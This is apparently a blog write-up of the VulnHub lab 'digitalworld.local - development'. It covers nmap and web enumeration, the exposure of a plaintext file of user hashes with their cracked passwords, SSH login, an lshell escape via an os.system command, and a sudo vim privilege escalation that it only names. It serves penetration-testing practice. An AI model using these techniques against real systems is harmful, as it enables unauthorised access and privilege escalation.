Vulnhub

Vulnhub | digitalworld.local - development

Vulnhub | digitalworld.local - development

2 years ago   •   21 min read

By 0xBEN
Table of contents

Nmap Scan

# Nmap 7.91 scan initiated Sat Sep 18 11:58:17 2021 as: nmap -T4 -p- -A -oA scan-advanced 10.9.9.22  
Nmap scan report for development.cyber.range (10.9.9.22)  
Host is up (0.00046s latency).  
Not shown: 65530 closed ports  
PORT     STATE SERVICE     VERSION  
22/tcp   open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   2048 79:07:2b:2c:2c:4e:14:0a:e7:b3:63:46:c6:b3:ad:16 (RSA)  
|   256 c2:b6:8c:36:a6:dd:9b:17:bb:4f:0e:0f:16:89:d6:4b (ECDSA)  
|_  256 24:6b:85:e3:ab:90:5c:ec:d5:83:49:54:cd:98:31:95 (ED25519)  
113/tcp  open  ident?  
|_auth-owners: oident  
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
|_auth-owners: root  
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)  
|_auth-owners: root  
8080/tcp open  http-proxy  IIS 6.0  
| fingerprint-strings:    
|   GetRequest:    
|     HTTP/1.1 200 OK  
|     Date: Sat, 18 Sep 2021 15:58:24 GMT  
|     Server: IIS 6.0  
|     Last-Modified: Wed, 26 Dec 2018 01:55:41 GMT  
|     ETag: "230-57de32091ad69"  
|     Accept-Ranges: bytes  
|     Content-Length: 560  
|     Vary: Accept-Encoding  
|     Connection: close  
|     Content-Type: text/html  
|     <html>  
|     <head><title>DEVELOPMENT PORTAL. NOT FOR OUTSIDERS OR HACKERS!</title>  
|     </head>  
|     <body>  
|     <p>Welcome to the Development Page.</p>  
|     <br/>  
|     <p>There are many projects in this box. View some of these projects at html_pages.</p>  
|     <br/>  
|     <p>WARNING! We are experimenting a host-based intrusion detection system. Report all false positives to patrick@goodte  
ch.com.sg.</p>  
|     <br/>  
|     <br/>  
|     <br/>  
|     <hr>  
|     <i>Powered by IIS 6.0</i>  
|     </body>  
|     <!-- Searching for development secret page... where could it be? -->  
|     <!-- Patrick, Head of Development-->  
|     </html>  
|   HTTPOptions:    
|     HTTP/1.1 200 OK  
|     Date: Sat, 18 Sep 2021 15:58:24 GMT  
|     Server: IIS 6.0  
|     Allow: GET,POST,OPTIONS,HEAD  
|     Content-Length: 0  
|     Connection: close  
|     Content-Type: text/html  
|   RTSPRequest:    
|     HTTP/1.1 400 Bad Request  
|     Date: Sat, 18 Sep 2021 15:58:24 GMT  
|     Server: IIS 6.0  
|     Content-Length: 288  
|     Connection: close  
|     Content-Type: text/html; charset=iso-8859-1  
|     <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
|     <html><head>  
|     <title>400 Bad Request</title>  
|     </head><body>  
|     <h1>Bad Request</h1>  
|     <p>Your browser sent a request that this server could not understand.<br />  
|     </p>  
|     <hr>  
|     <address>IIS 6.0 Server at 10.9.9.22 Port 8080</address>  
|_    </body></html>  
|_http-open-proxy: Proxy might be redirecting requests  
|_http-server-header: IIS 6.0  
|_http-title: DEVELOPMENT PORTAL. NOT FOR OUTSIDERS OR HACKERS!  
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at h  
ttps://nmap.org/cgi-bin/submit.cgi?new-service :  
SF-Port8080-TCP:V=7.91%I=7%D=9/18%Time=61460CA1%P=x86_64-pc-linux-gnu%r(Ge  
SF:tRequest,330,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sat,\x2018\x20Sep\x202  
SF:021\x2015:58:24\x20GMT\r\nServer:\x20IIS\x206\.0\r\nLast-Modified:\x20W  
SF:ed,\x2026\x20Dec\x202018\x2001:55:41\x20GMT\r\nETag:\x20\"230-57de32091  
SF:ad69\"\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x20560\r\nVary:\x2  
SF:0Accept-Encoding\r\nConnection:\x20close\r\nContent-Type:\x20text/html\  
SF:r\n\r\n<html>\r\n<head><title>DEVELOPMENT\x20PORTAL\.\x20NOT\x20FOR\x20  
SF:OUTSIDERS\x20OR\x20HACKERS!</title>\r\n</head>\r\n<body>\r\n<p>Welcome\  
SF:x20to\x20the\x20Development\x20Page\.</p>\r\n<br/>\r\n<p>There\x20are\x  
SF:20many\x20projects\x20in\x20this\x20box\.\x20View\x20some\x20of\x20thes  
SF:e\x20projects\x20at\x20html_pages\.</p>\r\n<br/>\r\n<p>WARNING!\x20We\x  
SF:20are\x20experimenting\x20a\x20host-based\x20intrusion\x20detection\x20  
SF:system\.\x20Report\x20all\x20false\x20positives\x20to\x20patrick@goodte  
SF:ch\.com\.sg\.</p>\r\n<br/>\r\n<br/>\r\n<br/>\r\n<hr>\r\n<i>Powered\x20b  
SF:y\x20IIS\x206\.0</i>\r\n</body>\r\n\r\n<!--\x20Searching\x20for\x20deve  
SF:lopment\x20secret\x20page\.\.\.\x20where\x20could\x20it\x20be\?\x20-->\  
SF:r\n\r\n<!--\x20Patrick,\x20Head\x20of\x20Development-->\r\n\r\n</html>\  
SF:r\n")%r(HTTPOptions,A6,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sat,\x2018\x  
SF:20Sep\x202021\x2015:58:24\x20GMT\r\nServer:\x20IIS\x206\.0\r\nAllow:\x2  
SF:0GET,POST,OPTIONS,HEAD\r\nContent-Length:\x200\r\nConnection:\x20close\  
SF:r\nContent-Type:\x20text/html\r\n\r\n")%r(RTSPRequest,1C7,"HTTP/1\.1\x2  
SF:0400\x20Bad\x20Request\r\nDate:\x20Sat,\x2018\x20Sep\x202021\x2015:58:2  
SF:4\x20GMT\r\nServer:\x20IIS\x206\.0\r\nContent-Length:\x20288\r\nConnect  
SF:ion:\x20close\r\nContent-Type:\x20text/html;\x20charset=iso-8859-1\r\n\  
SF:r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//IETF//DTD\x20HTML\x202\.0//EN\">  
SF:\n<html><head>\n<title>400\x20Bad\x20Request</title>\n</head><body>\n<h  
SF:1>Bad\x20Request</h1>\n<p>Your\x20browser\x20sent\x20a\x20request\x20th  
SF:at\x20this\x20server\x20could\x20not\x20understand\.<br\x20/>\n</p>\n<h  
SF:r>\n<address>IIS\x206\.0\x20Server\x20at\x2010\.9\.9\.22\x20Port\x20808  
SF:0</address>\n</body></html>\n");  
Device type: general purpose  
Running: Linux 4.X  
OS CPE: cpe:/o:linux:linux_kernel:4.4  
OS details: Linux 4.4  
Network Distance: 2 hops  
Service Info: Host: DEVELOPMENT; OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Host script results:  
|_clock-skew: mean: -7s, deviation: 6s, median: -11s  
|_nbstat: NetBIOS name: DEVELOPMENT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)  
| smb-os-discovery:    
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)  
|   Computer name: development  
|   NetBIOS computer name: DEVELOPMENT\x00  
|   Domain name: \x00  
|   FQDN: development  
|_  System time: 2021-09-18T16:00:53+00:00  
| smb-security-mode:    
|   account_used: guest  
|   authentication_level: user  
|   challenge_response: supported  
|_  message_signing: disabled (dangerous, but default)  
| smb2-security-mode:    
|   2.02:    
|_    Message signing enabled but not required  
| smb2-time:    
|   date: 2021-09-18T16:00:53  
|_  start_date: N/A  
  
TRACEROUTE (using port 8888/tcp)  
HOP RTT     ADDRESS  
1   0.31 ms pfSense.cyber.range (10.0.0.1)  
2   0.45 ms development.cyber.range (10.9.9.22)  
  
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
# Nmap done at Sat Sep 18 12:01:26 2021 -- 1 IP address (1 host up) scanned in 188.80 seconds




Service Enumeration

SMB

┌──(ben㉿kali)-[~/Pentest/Vulnhub/OSCP-Like/DIGITALWORLD.LOCAL-DEV]  
└─$ smbclient -L //$target --option="client min protocol=core" -U ''  
  
Enter WORKGROUP\'s password:    
  
       Sharename       Type      Comment  
       ---------       ----      -------  
       print$          Disk      Printer Drivers  
       access          Disk         
       IPC$            IPC       IPC Service (development server (Samba, Ubuntu))  
Reconnecting with SMB1 for workgroup listing.  
  
       Server               Comment  
       ---------            -------  
  
       Workgroup            Master  
       ---------            -------  
       MYGROUP              KIOPTRIX  
       WORKGROUP            DEVELOPMENT

None of the shares can be opened anonymously.

HTTP (TCP/8080)

I try to use gobuster to enumerate more files and directories, but there is some kind of firewall that blacklisting me after too many failed hits.

The site index directs me to html_pages to check out some projects. I inspect the page source code and find a reference to a secret page in an HTML comment as well.

http://10.9.9.22:8080

<html>
<head><title>DEVELOPMENT PORTAL. NOT FOR OUTSIDERS OR HACKERS!</title>
</head>
<body>
<p>Welcome to the Development Page.</p>
<br/>
<p>There are many projects in this box. View some of these projects at html_pages.</p>
<br/>
<p>WARNING! We are experimenting a host-based intrusion detection system. Report all false positives to patrick@goodtech.com.sg.</p>
<br/>
<br/>
<br/>
<hr>
<i>Powered by IIS 6.0</i>
</body>

<!-- Searching for development secret page... where could it be? -->

<!-- Patrick, Head of Development-->

</html>

I double check for a robots.txt file but find nothing useful.  Time to take a look at html_pages.

Clearly the IIS server tag is a poor attempt at security through obscurity. It's pretty clear that this is a Linux server.

I am going to try each site with the .html extension and without. I copy the output to a local file called sites.txt.

-rw-r--r-- 1 www-data www-data      285 Sep 26 17:46 about.html
-rw-r--r-- 1 www-data www-data     1049 Sep 26 17:51 config.html
-rw-r--r-- 1 www-data www-data      199 Jul 23 15:37 default.html
-rw-r--r-- 1 www-data www-data     1086 Sep 28 09:22 development.html
-rw-r--r-- 1 www-data www-data      446 Jun 14 01:37 downloads.html
-rw-r--r-- 1 www-data www-data      285 Sep 26 17:53 error.html
-rw-r--r-- 1 www-data www-data        0 Sep 28 09:23 html_pages
-rw-r--r-- 1 www-data www-data      751 Sep 28 09:22 index.html
-rw-r--r-- 1 www-data www-data      202 Sep 26 17:57 login.html
-rw-r--r-- 1 www-data www-data      682 Jul 23 15:36 register.html
-rw-r--r-- 1 www-data www-data       74 Jul 23 16:29 tryharder.html
-rw-r--r-- 1 www-data www-data      186 Sep 26 17:58 uploads.html
cat sites.txt | awk -F' ' '{print $9}' > html.txt
cat sites.txt | awk -F' ' '{print $9}' | sed 's/\.html//g' > nohtml.txt

So, I will try navigating through each site in the following manner:

  • https://10.9.9.22:8080/about.html
  • https://10.9.9.22:8080/about

about

/----------------\
|/--------------\|
||   ABOUT US   ||
|\--------------/|
\----------------/

/--------------------------------------------\
| WHO ARE WE?                                |
| WE ARE DEVELOPERS WHO ENJOY TRYING HARDER. |
|                                            |
| WHY ARE WE DEVELOPERS?                     |
| WE ENJOY CREATING APPLICATIONS THAT MAKE   |
| OUR USERS TRY HARDER.                      |
\--------------------------------------------/

/--------------------------------------------\
| ARE YOU GUYS CRAZY?                        |
| NO. WE MERELY ENJOY WATCHING YOU SUFFER.   |
| IF YOU CANNOT ROOT THIS BOX...             |
| WE WILL KEEP LAUGHING AND TELLING YOU TO   |
| TRY HARDER!                                |
\--------------------------------------------/

/----------------\
|/--------------\|
|| CHEERS!      ||
|| PATRICK      ||
|| HEAD, DEVT   ||
|\--------------/|
\----------------/

about.html

<html>
<head><title>About Good Tech</title>
</head>
<body>
<p>Good Tech is a company founded by our Director, David.</p>

<p><i>We are currently still building David's profile. Sorry!</i></p>
<br/>
<br/>
<br/>
<br/>
<br/>
<hr>
<i>Powered by IIS 6.0</i>
</body>
</html>

config

Empty

config.html

?

default

Empty

default.html

<html>
<head><title>Default Page</title>
</head>
<body>
<p>
01001000 01010101 01001000 00111111
</p>
<br />
<br />
<br />
<br />
<br />
<hr>
<i>Powered by IIS 6.0</i>
</body>
</html>

The binary converts to HUH?

development

Under development we have a variety of projects.

/test.pcap: a simple bash script that allows Director, from the comfort of his desk, to be routinely fed network information. He can then employ a scraper to download the .pcap files to view at his own convenience.
/development.html: the landing page to our development secret page. Only insiders will know!
/registration: under construction.

We are also testing a very simple web-based log-in form, a HIDS called OSSEC (heard it is awesome) and some other developments.

The question is, do you know what to do? Try harder!

development.html

<html>
<head><title>Security by Obscurity: The Path to DEVELOPMENTSECRETPAGE.</title>
</head>
<body>
<p>Security by obscurity is one of the worst ways one can defend from a cyberattack. This assumes that the adversary is not smart enough to be able to detect weak points in a corporate network.</p>
<p>An example of security by obscurity is in the local of webpages. For instance, IT administrators like to insert backdoors into applications for remote management, sometimes without the project teams knowing.</p>
<p>Once I worked on an implementation whereby the developer added a backdoor which was aptly named "hackersecretpage". It was hilarious because it contained a link to a file upload function, where the hacker installed a VNC viewer to perform remote desktop management!</p>
<p>A pity Patrick claims to be a security advocate, but isn't one. Hence, I shall secretly write in pages to guide hackers to make Patrick learn his lesson the hard way.</p>
</body>

<hr>
<i>Powered by IIS 6.0.</i>

</html>

<!-- You tried harder! Visit ./developmentsecretpage. -->

Comment shows /developmentsecretpage (also discovered in test.pcap)

downloads

Empty

downloads.html

<html>
<head><title>Useful Resources</title>
</head>
<body>
<p>Downloads:</p>
<br />
<a href="./martell.jpg">Patrick's Favourite Drink</a>
<a href="./tryharder.jpg">The Intern's Life Motto</a>
<!-- <a href="./test.pcap">Logging</a> -->
<br />
<br />
<br />
<br />
<br />
<hr>
<i>Powered by IIS 6.0</i>
</body>
</html>

error

Nothing relevant

error.html

Empty

index

Empty

index.html

<html>
<head><title>DEVELOPMENT PORTAL. NOT FOR OUTSIDERS OR HACKERS!</title>
</head>
<body>
<p>Welcome to the Development Page.</p>
<br/>
<p>There are many projects in this box. View some of these projects at html_pages.</p>
<br/>
<p>WARNING! We are experimenting a host-based intrusion detection system. Report all false positives to patrick@goodtech.com.sg.</p>
<br/>
<br/>
<br/>
<hr>
<i>Powered by IIS 6.0</i>
</body>

<!-- Searching for development secret page... where could it be? -->

<!-- Patrick, Head of Development-->

</html>

login

Empty

login.html

<html>
<head><title>Login Page</title>
</head>
<body>
<p><b>Where could the log-in page be?</b> </p>
<br />
<br />
<br />
<br />
<br />
<i>Powered by IIS 6.0</i>
</body>
</html>

register

Empty

register.html

<html>
<head><title>Registration for Development Team</title>
</head>
<body>
<p>
01010011 01110101 01110010 01100101 01101100 01111001 00100000 01100100 01100101 01110110 01100101 01101100 01101111 01110000 01101101 01100101 01101110 01110100 00100000 01110011 01100101 01100011 01110010 01100101 01110100 00100000 01110000 01100001 01100111 01100101 00100000 01101001 01110011 00100000 01101110 01101111 01110100 00100000 01110100 01101000 01100001 01110100 00100000 01101000 01100001 01110010 01100100 00100000 01110100 01101111 00100000 01100110 01101001 01101110 01100100 00111111
</p>
<br />
<br />
<br />
<br />
<br />
<i>Powered by IIS 6.0</i>
</body>
</html>

Use PowerShell to convert binary back to decimal, then to char array, then to string

$string = @'
01010011 01110101 01110010 01100101 01101100 01111001 00100000 01100100 01100101 01110110 01100101 01101100 01101111 01110000 01101101 01100101 01101110 01110100 00100000 01110011 01100101 01100011 01110010 01100101 01110100 00100000 01110000 01100001 01100111 01100101 00100000 01101001 01110011 00100000 01101110 01101111 01110100 00100000 01110100 01101000 01100001 01110100 00100000 01101000 01100001 01110010 01100100 00100000 01110100 01101111 00100000 01100110 01101001 01101110 01100100 00111111
'@

$string.Split(' ').ForEach({[char][convert]::ToInt32({$_, 2})}) -join ''

Surely development secret page is not that hard to find?

tryharder

Empty

tryharder.html

Look around you!

Try harder!

uploads

Empty

uploads.html

|. . . . . . . .|
| . . . . . . . |
|. . . . . . . .|
     UPLOADS
|. . . . . . . .|
| . . . . . . . |
|. . . . . . . .|

======================================================================================

Someone used to tell me a story about a boy called Rick. Every day, he would enter the
office at 6 am in the morning to work on his code. He worked very very hard, exceeding
his peers. He tried harder than everyone else in his code and work ethic. After months
of dedication, he eventually got a working proof-of-concept. However, he was undone by
a stupid thing. He misconfigured his server; he ran his webserver as root. The rest of
the story was history; a hacker eventually UPLOADED a web shell, and was root! PWNED!!

By now you realise this story has absolutely nothing to do with the page you currently
see. You have essentially been trolled by a short story; you must try harder to attack
this machine! PLEASE PWN ME, OR ELSE I WILL TELL PATRICK THAT OBSCURITY IS AWESOME! :)

======================================================================================

/developmentsecretpage


<html>
<head>
<title>Welcome to Good Tech</title>
</head>
<body>

<p>
Welcome to the Development Secret Page. 
</p>

<p>
Please drop by <a href="./patrick.php">Patrick's</a> PHP page to get to know our Development Head better. But beware, this site is still under construction; please bear with us!
</p>


This is the property of Good Tech. All rights reserved.
</body>
</html>

/developmentsecretpage/patrick.php

<html>
<head>
<title>Page title</title>
</head>
<body>
<p> Welcome to my profile page! I am Patrick, the Head of Development in Good Tech. </p>

<p> I have previously worked in enterprise technologies. I joined Good Tech two years ago as the then-Manager of Development. I lead two teams: one that does enterprise architecture and an in-house development team.
</p>

<p> As long as you're willing to <b>try harder</b>, there will always be a future for the young aspiring developer or solution architect! Please visit our <a href="./sitemap.php">sitemap</a> to find out more about our department.</p>

<p> Regards <br/>
Patrick<br/>
Head, Development Network</p>

<p>
<a href="/developmentsecretpage/patrick.php?logout=1">Click here to log out.</a>
</p>

This is the property of Good Tech. All rights reserved.
</body>
</html>

/developmentsecretpage/patrick.php?logout=1

<html>
<head>
<title>Page title</title>
</head>
<body><!--  This is the login form  -->
<form method="post" action="/developmentsecretpage/patrick.php">
Username: <input type="text" name="slogin_POST_username" value=""><br>
Password: <input type="password" name="slogin_POST_password"><br>
<input type="submit" name="slogin_POST_send" value="Enter">
</form>
This is the property of Good Tech. All rights reserved.
</body>
</html>

Testing the login page throws an error

<br />
<b>Deprecated</b>:  Function ereg_replace() is deprecated in <b>/var/www/html/developmentsecretpage/slogin_lib.inc.php</b> on line <b>335</b><br />
<br />
<b>Deprecated</b>:  Function ereg_replace() is deprecated in <b>/var/www/html/developmentsecretpage/slogin_lib.inc.php</b> on line <b>336</b><br />
<html>
<head>
<title>Page title</title>
</head>
<body>
<p> Welcome to my profile page! I am Patrick, the Head of Development in Good Tech. </p>

<p> I have previously worked in enterprise technologies. I joined Good Tech two years ago as the then-Manager of Development. I lead two teams: one that does enterprise architecture and an in-house development team.
</p>

<p> As long as you're willing to <b>try harder</b>, there will always be a future for the young aspiring developer or solution architect! Please visit our <a href="./sitemap.php">sitemap</a> to find out more about our department.</p>

<p> Regards <br/>
Patrick<br/>
Head, Development Network</p>

<p>
<a href="/developmentsecretpage/patrick.php?logout=1">Click here to log out.</a>
</p>

This is the property of Good Tech. All rights reserved.
</body>
</html>

/developmentsecretpage/sitemap.php

<html>
<head>
<title>A Map of the Development Network -- the Brains of Good Tech</title>
</head>
<body>
<!-- Intern, please perform the proper hyperlinking of the sitemap.-->
<!-- Patrick, Head Development-->

<p> Hi fellow colleague! Currently we only have links to the <a href="./securitynotice.php">security notice</a> and the <a href="./directortestpagev1.php">director test page</a>. <b>With effect from 11/2/2017, we have shifted the test page to the main webroot. You will know how to find it easily.</b> </p>

<p> For more enquiries, please feel free to speak to <a href="./patrick.php">Patrick</a>, our Head of Development.</p>

<p> If there are any bugs, please find the intern at <a href="intern@goodtech.org.sg">the intern's contact page.</a></p>

<p> Regards <br/>
Patrick<br/>
Head, Development Network</p>

<p>
<a href="/developmentsecretpage/sitemap.php?logout=1">Click here to log out.</a>
</p>

This is the property of Good Tech. All rights reserved.
</body>
</html>

/developmentsecretpage/securitynotice.php

<html>
<head>
<title>Security Notice</title>
</head>
<body>
<p> Recently a security audit was conducted in the Development environment. </p>

<p> We found that our developers have been using passwords that resembled dictionary words, and are easily crackable. The most common offenders are:<br/>
1. password<br/>
2. Password<br/>
3. P@ssw0rd<br/>
</p>

<p>(Yes, we know that Number 3 is compliant with our strong password policy, but we found so many copies of this password that it might be as good as junk from a security angle. Please at least use something like P@ssw0rd1...)</p>

<p> Effective today, any <b>permanent</b> staff found with such passwords in the Development environment will be subject to a security remedial training. Also, we will extend the password expiry enforcement of thirty (30) days from heads and above to all permanent staff of the company. The password history will be set to 10, though if you would like, you can always "cycle" through more passwords.</p>

<p> Regards <br/>
Patrick<br/>
Head, Development Network</p>

<p>
<a href="/developmentsecretpage/securitynotice.php?logout=1">Click here to log out.</a>
</p>

This is the property of Good Tech. All rights reserved.
</body>
</html>

Seems like interns may not be subject to restrictions on bad passwords

/developmentsecretpage/directortestpagev1.php

<html>
<head>
<title>Director's Update Panel Version 1.0</title>
</head>
<body>
<p> Hi Director! This is the test page to provide Director with eye-catching updates. </p>

<p> We know Director is busy and hence needs updates delivered in a timely manner.</p>

<p> Patrick and I will routinely update this page with a pop-up that details if there is anything important.</p>

<script>alert("Director, there is nothing for your immediate attention.");</script>

<!-- Director's comments: Does this not appear to be rather silly? I think we can make use of shoutbox. -->
<!-- Patrick's response: OK. When do you want it? -->
<!-- Director's comments: In three months' time. -->
<!-- Patrick's response: We have cleared test.html for testing purposes. We'll put up a warning for the rest to know it is not to be meddled. -->
<!-- Director's comments: Approved. -->

<p> Regards <br/>
Patrick<br/>
Head, Development Network</p>

<p>
<a href="/developmentsecretpage/directortestpagev1.php?logout=1">Click here to log out.</a>
</p>

This is the property of Good Tech. All rights reserved.
</body>
</html>

/developmentsecretpage/slog_users.txt

https://www.exploit-db.com/exploits/7444

[0x01] Informations:

Script         : Simple Text-File Login script 1.0.6
Download       : http://www.hotscripts.com/jump.php?listing_id=36777&jump_type=1
Vulnerability  : Remote File Inclusion / Sensitive Data Disclosure
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay
Notes          : *
admin, 3cb1d13bb83ffff2defe8d1443d3a0eb (unknown)
intern, 4a8a2b374f463b7aedbb44a066363b81 (12345678900987654321)
patrick, 87e6d56ce79af90dbe07d387d3d0579e (P@ssw0rd25)
qiu, ee64497098d0926d198f54f6d5431f98 (qiu)




Exploit

The use of deprecated PHP libraries exposed a plaintext file containing usernames and hashes inside of a web directory /[path]/slog_users.txt. I was able to read the file and crack the hashes using john

Now in possession of some passwords, I was able to SSH into the system as the intern user.

┌──(ben㉿kali)-[~/…/Vulnhub/OSCP-Like/DIGITALWORLD.LOCAL-DEV/hashes]
└─$ ssh intern@$target                                                                 

intern@10.9.9.22's password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-34-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Sep 19 04:08:46 UTC 2021

  System load:  0.16               Processes:            123
  Usage of /:   28.6% of 19.56GB   Users logged in:      0
  Memory usage: 6%                 IP address for ens18: 10.9.9.22
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

32 packages can be updated.
0 updates are security updates.


Last login: Thu Aug 23 15:57:48 2018 from 192.168.254.228
Congratulations! You tried harder!
Welcome to Development!
Type '?' or 'help' to get the list of allowed commands
intern:~$




Post-Exploitation Enumeration

Certain commands are causing shell environment to crash

intern:~$ id
Traceback (most recent call last):
  File "/usr/local/bin/lshell", line 27, in <module>
    lshell.main()
  File "/usr/local/lib/python2.7/dist-packages/lshell.py", line 1165, in main
    cli.cmdloop()
  File "/usr/local/lib/python2.7/dist-packages/lshell.py", line 385, in cmdloop
    stop = self.onecmd(line)
  File "/usr/local/lib/python2.7/dist-packages/lshell.py", line 503, in onecmd
    func = getattr(self, 'do_' + cmd)
  File "/usr/local/lib/python2.7/dist-packages/lshell.py", line 134, in __getattr__
    if self.check_path(self.g_line) == 1:
  File "/usr/local/lib/python2.7/dist-packages/lshell.py", line 303, in check_path
    item = re.sub('^~', self.conf['home_path'], item)
  File "/usr/lib/python2.7/re.py", line 155, in sub
    return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or buffer
Connection to 10.9.9.22 closed.

I need to understand more about the current shell environment.

intern:~$ echo $SHELL
/usr/local/bin/lshell

lshell breakout: https://www.aldeid.com/wiki/Lshell

intern:~$ help
cd  clear  echo  exit  help  ll  lpath  ls

intern:~$ echo os.system('/bin/bash')

intern@development:~$ help

GNU bash, version 4.4.19(1)-release (x86_64-pc-linux-gnu)
These shell commands are defined internally.  Type `help' to see this list.
Type `help name' to find out more about the function `name'.
Use `info bash' to find out more about the shell in general.
Use `man -k' or `info' to find out more about commands not in this list.

A star (*) next to a name means that the command is disabled.

 job_spec [&]                                                  history [-c] [-d offset] [n] or history -anrw [filename] o>
 (( expression ))                                              if COMMANDS; then COMMANDS; [ elif COMMANDS; then COMMANDS>
 . filename [arguments]                                        jobs [-lnprs] [jobspec ...] or jobs -x command [args]
 :                                                             kill [-s sigspec | -n signum | -sigspec] pid | jobspec ...>
 [ arg... ]                                                    let arg [arg ...]
 [[ expression ]]                                              local [option] name[=value] ...
 alias [-p] [name[=value] ... ]                                logout [n]
 bg [job_spec ...]                                             mapfile [-d delim] [-n count] [-O origin] [-s count] [-t] >
 bind [-lpsvPSVX] [-m keymap] [-f filename] [-q name] [-u na>  popd [-n] [+N | -N]
 break [n]                                                     printf [-v var] format [arguments]
 builtin [shell-builtin [arg ...]]                             pushd [-n] [+N | -N | dir]

[removed for brevity]

User Flag

Envrionment

Current User

intern@development:~$ sudo -l  
[sudo] password for intern:    
Sorry, user intern may not run sudo on development. 

intern@development:~$ id  
uid=1002(intern) gid=1006(intern) groups=1006(intern

OS and Kernel

intern@development:~$ uname -a && echo -e '\n' && cat /etc/*release  
Linux development 4.15.0-34-generic #37-Ubuntu SMP Mon Aug 27 15:21:48 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux  
  
  
DISTRIB_ID=Ubuntu  
DISTRIB_RELEASE=18.04  
DISTRIB_CODENAME=bionic  
DISTRIB_DESCRIPTION="Ubuntu 18.04.1 LTS"  
NAME="Ubuntu"  
VERSION="18.04.1 LTS (Bionic Beaver)"  
ID=ubuntu  
ID_LIKE=debian  
PRETTY_NAME="Ubuntu 18.04.1 LTS"  
VERSION_ID="18.04"  
HOME_URL="https://www.ubuntu.com/"  
SUPPORT_URL="https://help.ubuntu.com/"  
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"  
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"  
VERSION_CODENAME=bionic  
UBUNTU_CODENAME=bionic

Users and Groups

cat /etc/passwd && cat/etc/groups

Scheduled Tasks

None

Interesting Files

/var/www/html/developmentsecretpage/directortestpagev1.php.save

<!-- Director's comments: Does this not appear to be rather silly? I think we can make use of shoutbox. -->
<!-- Patrick's response: OK. When do you want it? -->
<!-- Director's comments: In three months' time. -->
<!-- Patrick's response: We are going to trial version 2 at shout.php. I think it's more accessible to all staff members and is no longer in the developersecretpage directory.-->
<!-- Director's comments: Approved. -->




Privilege Escalation

Lateral movement to Patrick's account using cracked MD5 hash

Patrick can run sudo vim, which can be used to escalate privileges.

Root Flag

Spread the word

Keep reading